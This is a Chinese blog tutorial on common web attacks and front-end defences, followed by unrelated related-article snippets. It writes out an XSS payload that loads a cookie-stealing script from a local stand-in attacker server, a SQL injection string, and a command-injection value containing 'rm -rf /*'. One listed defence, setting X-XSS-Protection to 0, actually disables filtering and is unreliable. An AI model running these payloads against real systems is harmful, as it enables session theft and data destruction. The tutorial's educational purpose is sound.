当前位置: 首页 > news >正文

Refreshtoken 前端 安全 前端安全方面

网络安全

前端不需要过硬的网络安全方面的知识,但是能够了解大多数的网络安全,并且可以进行简单的防御前两三个是需要的

介绍一下常见的安全问题,解决方式,和小的Demo,希望大家喜欢

网络安全汇总

  • XSS
  • CSRF
  • 点击劫持
  • SQL注入
  • OS注入
  • 请求劫持
  • DDOS

在我看来,前端可以了解并且防御前4个就可以了(小声逼逼:大佬当我没说)

XSS

Cross Site Scripting 又叫做跨站脚本攻击,本身应该叫做CSS,但是由于CSS被占用,无奈下叫做XSS

what is XSS?

我们先从字面意义上看一下,跨站->顾名思义就是我们从一个网站跑到了另外一个网站上,脚本->也就是我们往页面中写了脚本内容,可以理解为写了js代码,那么最后我们对网站造成了攻击

例如: 我们在登录了一个网站之后,一般都会把登录状态保存在cookie中,当我们去访问另外一个网站的时候,就会读取到cookie

XSS危害
  • 利⽤虚假输⼊表单骗取⽤户个⼈信息。
  • 利⽤脚本窃取⽤户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求。
  • 显示伪造的⽂章或图⽚。
简单演示
// 普通
http://localhost:3000/?from=china
// alert尝试
http://localhost:3000/?from=<script>alert(3)</script>
// 如果可以弹出3,证明这个输入框没有过滤html标记

模拟获取cookie

http://localhost:3000/?from=<script src="http://localhost:4000/hack.js">

    后台代码

    const koa = require('koa');  //启动在4000端口上
    const chalk = require('chalk')
    const log = contents => {console.log(chalk.red(contents)) //打印cookie
    }// 模拟黑客网站
    const app = new koa();module.exports = app
    防御措施
    1. 设置HEAD
    ctx.set('X-XSS-Protection', 0) // 禁⽌XSS过滤
      1. 设置HttpOnly Cookie
        这是预防XSS攻击窃取⽤户cookie最有效的防御⼿段。Web应 ⽤程序在设置cookie时,将其属性设为HttpOnly,就可以避免该⽹⻚的cookie被客户端恶意JavaScript窃取,保护⽤户cookie信息。
      response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly")
        1. CSP
          内容安全策略 (CSP, Content Security Policy) 是⼀个附加的安全层,⽤于帮助检测和缓解某些类型的攻击,包括跨站脚本 (XSS) 和数据注⼊等攻击。 这些攻击可⽤于实现从数据窃取到⽹站破坏或作为恶意软件分发版本等⽤途。
          CSP 本质上就是建⽴⽩名单,开发者明确告诉浏览器哪些外部资源可以加载和执⾏。我们只需要配置规则,如何拦截是由浏览器⾃⼰实现的。我们可以通过这种⽅式来尽量减少
          XSS 攻击。

        CSRF

        CSRF(Cross Site Request Forgery),即跨站请求伪造,是⼀种常⻅的Web攻击,它利⽤⽤户已登录的身份,在⽤户毫不知情的情况下,以⽤户的名义完成⾮法操作。

        what is CSRF?

        还是从字面上去分析,跨站还是指从一个网站指向另外一个网站,于XSS不用的是,他是请求,指我们在别的网站上发出一个请求,而这个请求是伪造出来的

        • ⽤户已经登录了站点 A,并在本地记录了 cookie
        • 在⽤户没有登出站点 A 的情况下(也就是 cookie ⽣效的情况下),访问了恶意攻击者提供的引诱危险站点 B (B 站点要求访问站点A)。
        • 站点 A 没有做任何 CSRF 防御
        CSRF危害
        • 利⽤⽤户登录态
        • ⽤户不知情
        • 完成业务请求
        • 盗取⽤户资⾦(转账,消费)
        • 冒充⽤户发帖背锅
        • 损害⽹站声誉
        防御CSRF
        • 禁⽌第三⽅⽹站带Cookie - 有兼容性问题
        • Referer Check - Https不发送referer
        • 验证码

        点击劫持

        点击劫持是⼀种视觉欺骗的攻击⼿段。攻击者将需要攻击的⽹站通过 iframe 嵌套的⽅式嵌⼊⾃⼰的⽹⻚中,并将 iframe 设置为透明,在⻚⾯中透出⼀个按钮诱导⽤户点击。

        what is 点击劫持?

        点击劫持说白了就是诱导用户点击,下面放一张图片,估计就都了解了

        如何防御点击劫持

        X-FRAME-OPTIONS
        X-FRAME-OPTIONS 是⼀个 HTTP 响应头,在现代浏览器有⼀个很好的⽀持。这个 HTTP 响应头就是为了防御⽤ iframe 嵌套的点击劫持攻击。

        ctx.set('X-FRAME-OPTIONS', 'DENY')

          JS方式

          <head><style id="click-jack">html {display: none !important;}</style>
          </head>
          <body><script>if (self == top) {var style = document.getElementById('click-jack')document.body.removeChild(style)} else {top.location = self.location}</script>
          </body>

          SQL注入

          sql是我们学习数据库的一种语言,而注入就代表是从前端对数据库下手

          what is sql注入?

          下面这段代码可以看出来,当我们进行字符串拼接(拼接sql语句的时候),会出现一种类似于管道符的bug, 1|0,那么这句话为恒为真

          // 填⼊特殊密码
          1'or'1'='1
          // 拼接后的SQL
          SELECT *
          FROM test.user
          WHERE username = 'laowang'
          AND password = '1'or'1'='1'
          防御措施

          其实防御起来很简单,每个语言都提供了不同的方式,但是原理就是不进行字符串拼接,而是用占位符

          • 严格限制Web应⽤的数据库的操作权限**,给此⽤户提供仅仅能够满⾜其⼯作的最低权限,从⽽最⼤限度的减少注⼊攻击对数据库的危害
          • 对进⼊数据库的特殊字符(’,",\,<,>,&,*,; 等)进⾏转义处理,或编码转换**。基本上所有的后端语⾔都有对字符串进⾏转义处理的⽅法,⽐如 lodash 的 lodash._escapehtmlchar库。
          • 后端代码检查输⼊的数据是否符合预期**,严格限制变量的类型,例如使⽤正则表达式进⾏⼀些匹配处理。
          后几个我没学过防御,前端萌新

          OS命令注入

          OS命令注⼊和SQL注⼊差不多,只不过SQL注⼊是针对数据库的,⽽OS命令注⼊是针对操作系统的。OS命令注⼊攻击指通过Web应⽤,执⾏⾮法的操作系统命令达到攻击的⽬的。只要在能调⽤Shell函数的地⽅就有存在被攻击的⻛险。倘若调⽤Shell时存在疏漏,就可以执⾏插⼊的⾮法命令。

          // 以 Node.js 为例,假如在接⼝中需要从 github 下载⽤户指定的 repo
          const exec = require('mz/child_process').exec;
          let params = {/* ⽤户输⼊的参数 */};
          exec(`git clone ${params.repo} /some/path`);

          如果参数是

          https://github.com/xx/xx.git && rm -rf /* &&

            请求劫持

            • DNS劫持
              顾名思义,DNS服务器(DNS解析各个步骤)被篡改,修改了域名解析的结果,使得访问到的不是预期的ip
            • HTTP劫持 运营商劫持,此时⼤概只能升级HTTPS了

            DDOS

            distributed denial of service 分布式系统攻击

            what is DDOS?

            DDOS 不是⼀种攻击,⽽是⼀⼤类攻击的总称。它有⼏⼗种类型,新的攻击⽅法还在不断发明出来。⽹站运⾏的各个环节,都可以是攻击⽬标。只要把⼀个环节攻破,使得整个流程跑不起来,就达到了瘫痪服务的⽬的。

            其中,⽐较常⻅的⼀种攻击是 cc 攻击。它就是简单粗暴地送来⼤量正常的请求,超出服务器的最⼤承受量,导致宕机。我遭遇的就是 cc 攻击,最多的时候全世界⼤概20多个 IP 地址轮流发出请求,每个地址的请求量在每秒200次~300次。我看访问⽇志的时候,就觉得那些请求像洪⽔⼀样涌来,⼀眨眼就是⼀⼤堆,⼏分钟的时间,⽇志⽂件的体积就⼤了100MB。说实话,这只能算⼩攻击,但是我的个⼈⽹站没有任何防护,服务器还是跟其他⼈共享的,这种流量⼀来⽴刻就下线了。

            如何防御

            说白了花钱解决

            相关文章:

            Refreshtoken 前端 安全 前端安全方面

            网络安全 前端不需要过硬的网络安全方面的知识,但是能够了解大多数的网络安全,并且可以进行简单的防御前两三个是需要的 介绍一下常见的安全问题,解决方式,和小的Demo,希望大家喜欢 网络安全汇总 XSSCSRF点击劫持SQL注入OS注入请求劫持DDOS 在我看来,前端可以了解并且防御前…...

            EasyRTC嵌入式音视频通话SDK:基于ICE与STUN/TURN的实时音视频通信解决方案

            在当今数字化时代&#xff0c;实时音视频通信技术已成为人们生活和工作中不可或缺的一部分。无论是家庭中的远程看护、办公场景中的远程协作&#xff0c;还是工业领域的远程巡检和智能设备的互联互通&#xff0c;高效、稳定的通信技术都是实现这些功能的核心。 EasyRTC嵌入式音…...

            AI终章.展望未来2026-2030年预测与DeepSeek的角色

            人工智能&#xff08;AI&#xff09;近年来发展迅速&#xff0c;正在改变行业、商业模式以及我们与技术互动的方式。展望2026-2030年&#xff0c;预计在多模态AI、自主代理和自动化驱动的新职业创造方面将出现革命性发展。本章将探讨这些趋势&#xff0c;以及DeepSeek将如何在这…...

            PyTorch系列教程:编写高效模型训练流程

            当使用PyTorch开发机器学习模型时&#xff0c;建立一个有效的训练循环是至关重要的。这个过程包括组织和执行对数据、参数和计算资源的操作序列。让我们深入了解关键组件&#xff0c;并演示如何构建一个精细的训练循环流程&#xff0c;有效地处理数据处理&#xff0c;向前和向后…...

            【面试】Zookeeper

            Zookeeper 1、ZooKeeper 介绍2、znode 节点里面的存储3、znode 节点上监听机制4、ZooKeeper 集群部署5、ZooKeeper 选举机制6、何为集群脑裂7、如何保证数据一致性8、讲一下 zk 分布式锁实现原理吧9、Eureka 与 Zk 有什么区别 1、ZooKeeper 介绍 ZooKeeper 的核心特性 高可用…...

            电力系统中各参数的详细解释【智能电表】

            一、核心电力参数 电压 (Voltage) 单位&#xff1a;伏特&#xff08;V&#xff09; 含义&#xff1a;电势差&#xff0c;推动电流流动的动力 类型&#xff1a;线电压&#xff08;三相系统&#xff09;、相电压&#xff0c;如220V&#xff08;家用&#xff09;或380V&#xff…...

            前端系统测试(单元、集成、数据|性能|回归)

            有关前端测试的面试题 系统测试 首先,功能测试部分。根据资料,单元测试是验证最小可测试单元的正确性,比如函数或组件。都提到了单元测试的重要性,强调其在开发早期发现问题,并通过自动化提高效率。需要整合我搜索到的资料中的观点,比如单元测试的方法(接口测试、路径覆…...

            软件开发过程总揽

            开发模型 传统开发模型 瀑布模型 #mermaid-svg-yDNBSwh3gDYETWou {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-yDNBSwh3gDYETWou .error-icon{fill:#552222;}#mermaid-svg-yDNBSwh3gDYETWou .error-text{fill:#…...

            VBA第二十期 VBA最简单复制整张表格Cells的用法

            前面讲过复制整张表格的方法&#xff0c;使用语句Workbooks("实例.xlsm").Sheets("表格1").Copy Workbooks(wjm).Sheets(1)实现&#xff0c;这里用我们熟悉的Cells属性也可以实现整表复制。实例如下&#xff1a; Sheets("全部").Activate Cells…...

            Redis为什么要自定义序列化?如何实现自定义序列化器?

            在 Redis中&#xff0c;通常会使用自定义序列化器&#xff0c;那么&#xff0c;Redis为什么需要自定义序列化器&#xff0c;该如何实现它&#xff1f; 1、为什么需要自定义序列化器&#xff1f; 整体来说&#xff0c;Redis需要自定义序列化器&#xff0c;主要有以下几个原因&…...

            Matlab:矩阵运算篇——矩阵数学运算

            目录 1.矩阵的加法运算 实例——验证加法法则 实例——矩阵求和 实例——矩阵求差 2.矩阵的乘法运算 1.数乘运算 2.乘运算 3.点乘运算 实例——矩阵乘法运算 3.矩阵的除法运算 1.左除运算 实例——验证矩阵的除法 2.右除运算 实例——矩阵的除法 ヾ(&#xffe3;…...

            手写一个Tomcat

            Tomcat 是一个广泛使用的开源 Java Servlet 容器&#xff0c;用于运行 Java Web 应用程序。虽然 Tomcat 本身功能强大且复杂&#xff0c;但通过手写一个简易版的 Tomcat&#xff0c;我们可以更好地理解其核心工作原理。本文将带你一步步实现一个简易版的 Tomcat&#xff0c;并深…...

            开发ai模型最佳的系统是Ubuntu还是linux?

            在 AI/ML 开发中&#xff0c;​Ubuntu 是更优选的 Linux 发行版&#xff0c;原因如下&#xff1a; ​1. 开箱即用的 AI 工具链支持 Ubuntu 预装了主流的 AI 框架&#xff08;如 TensorFlow、PyTorch&#xff09;和依赖库&#xff0c;且通过 apt 包管理器可快速部署开发环境。 提…...

            Scala 中生成一个RDD的方法

            在 Scala 中&#xff0c;生成 RDD&#xff08;弹性分布式数据集&#xff09;的主要方法是通过 SparkContext&#xff08;或 SparkSession&#xff09;提供的 API。以下是生成 RDD 的常见方法&#xff1a; 1. 从本地集合创建 RDD 使用 parallelize 方法将本地集合&#xff08;如…...

            【redis】慢查询分析与优化

            慢查询指在Redis中执行时间超过预设阈值的命令&#xff0c;其日志记录是排查性能瓶颈的核心工具。Redis采用单线程模型&#xff0c;任何耗时操作都可能阻塞后续请求&#xff0c;导致整体性能下降。 命令的执行流程 根据Redis的核心机制&#xff0c;命令执行流程可分为以下步骤…...

            P8925 「GMOI R1-T2」Light 题解

            P8925 「GMOI R1-T2」Light 让我们好好观察样例解释的这一张图&#xff1a; 左边第 1 1 1 个像到 O O O 点的距离 &#xff1a; L 2 2 L L\times22L L22L 右边第 1 1 1 个像到 O O O 点的距离 &#xff1a; R 2 2 R R\times22R R22R 左边第 2 2 2 个像到 O O O 点…...

            Spring Boot + MyBatis + MySQL:快速搭建CRUD应用

            一、引言 1. 项目背景与目标 在现代Web开发中&#xff0c;CRUD&#xff08;创建、读取、更新、删除&#xff09;操作是几乎所有应用程序的核心功能。本项目旨在通过Spring Boot、MyBatis和MySQL技术栈&#xff0c;快速搭建一个高效、简洁的CRUD应用。我们将从零开始&#xff…...

            python中os库的常用举例

            os 库是Python中用于与操作系统进行交互的标准库&#xff0c;以下是一些 os 库的常用示例&#xff1a; 获取当前工作目录 python import os current_dir os.getcwd() print(current_dir) os.getcwd() 函数用于获取当前工作目录的路径。 列出目录内容 python import os …...

            Unity 通用UI界面逻辑总结

            概述 在游戏开发中&#xff0c;常常会遇到一些通用的界面逻辑&#xff0c;它不论在什么类型的游戏中都会出现。为了避免重复造轮子&#xff0c;本文总结并提供了一些常用UI界面的实现逻辑。希望可以帮助大家快速开发通用界面模块&#xff0c;也可以在次基础上进行扩展修改&…...

            Python3 与 VSCode:深度对比分析

            Python3 与 VSCode:深度对比分析 引言 Python3 和 Visual Studio Code(VSCode)在软件开发领域扮演着举足轻重的角色。Python3 作为一门强大的编程语言,拥有丰富的库和框架,广泛应用于数据科学、人工智能、网络开发等多个领域。而 VSCode 作为一款轻量级且功能强大的代码…...

            Vim 调用外部命令学习笔记

            Vim 外部命令集成完全指南 文章目录 Vim 外部命令集成完全指南核心概念理解命令语法解析语法对比 常用外部命令详解文本排序与去重文本筛选与搜索高级 grep 搜索技巧文本替换与编辑字符处理高级文本处理编程语言处理其他实用命令 范围操作示例指定行范围处理复合命令示例 实用技…...

            深入浅出Asp.Net Core MVC应用开发系列-AspNetCore中的日志记录

            ASP.NET Core 是一个跨平台的开源框架&#xff0c;用于在 Windows、macOS 或 Linux 上生成基于云的新式 Web 应用。 ASP.NET Core 中的日志记录 .NET 通过 ILogger API 支持高性能结构化日志记录&#xff0c;以帮助监视应用程序行为和诊断问题。 可以通过配置不同的记录提供程…...

            内存分配函数malloc kmalloc vmalloc

            内存分配函数malloc kmalloc vmalloc malloc实现步骤: 1)请求大小调整:首先,malloc 需要调整用户请求的大小,以适应内部数据结构(例如,可能需要存储额外的元数据)。通常,这包括对齐调整,确保分配的内存地址满足特定硬件要求(如对齐到8字节或16字节边界)。 2)空闲…...

            树莓派超全系列教程文档--(62)使用rpicam-app通过网络流式传输视频

            使用rpicam-app通过网络流式传输视频 使用 rpicam-app 通过网络流式传输视频UDPTCPRTSPlibavGStreamerRTPlibcamerasrc GStreamer 元素 文章来源&#xff1a; http://raspberry.dns8844.cn/documentation 原文网址 使用 rpicam-app 通过网络流式传输视频 本节介绍来自 rpica…...

            spring:实例工厂方法获取bean

            spring处理使用静态工厂方法获取bean实例&#xff0c;也可以通过实例工厂方法获取bean实例。 实例工厂方法步骤如下&#xff1a; 定义实例工厂类&#xff08;Java代码&#xff09;&#xff0c;定义实例工厂&#xff08;xml&#xff09;&#xff0c;定义调用实例工厂&#xff…...

            工业自动化时代的精准装配革新:迁移科技3D视觉系统如何重塑机器人定位装配

            AI3D视觉的工业赋能者 迁移科技成立于2017年&#xff0c;作为行业领先的3D工业相机及视觉系统供应商&#xff0c;累计完成数亿元融资。其核心技术覆盖硬件设计、算法优化及软件集成&#xff0c;通过稳定、易用、高回报的AI3D视觉系统&#xff0c;为汽车、新能源、金属制造等行…...

            Spring数据访问模块设计

            前面我们已经完成了IoC和web模块的设计&#xff0c;聪明的码友立马就知道了&#xff0c;该到数据访问模块了&#xff0c;要不就这俩玩个6啊&#xff0c;查库势在必行&#xff0c;至此&#xff0c;它来了。 一、核心设计理念 1、痛点在哪 应用离不开数据&#xff08;数据库、No…...

            Typeerror: cannot read properties of undefined (reading ‘XXX‘)

            最近需要在离线机器上运行软件&#xff0c;所以得把软件用docker打包起来&#xff0c;大部分功能都没问题&#xff0c;出了一个奇怪的事情。同样的代码&#xff0c;在本机上用vscode可以运行起来&#xff0c;但是打包之后在docker里出现了问题。使用的是dialog组件&#xff0c;…...

            Webpack性能优化:构建速度与体积优化策略

            一、构建速度优化 1、​​升级Webpack和Node.js​​ ​​优化效果​​&#xff1a;Webpack 4比Webpack 3构建时间降低60%-98%。​​原因​​&#xff1a; V8引擎优化&#xff08;for of替代forEach、Map/Set替代Object&#xff09;。默认使用更快的md4哈希算法。AST直接从Loa…...

            算法打卡第18天

            从中序与后序遍历序列构造二叉树 (力扣106题) 给定两个整数数组 inorder 和 postorder &#xff0c;其中 inorder 是二叉树的中序遍历&#xff0c; postorder 是同一棵树的后序遍历&#xff0c;请你构造并返回这颗 二叉树 。 示例 1: 输入&#xff1a;inorder [9,3,15,20,7…...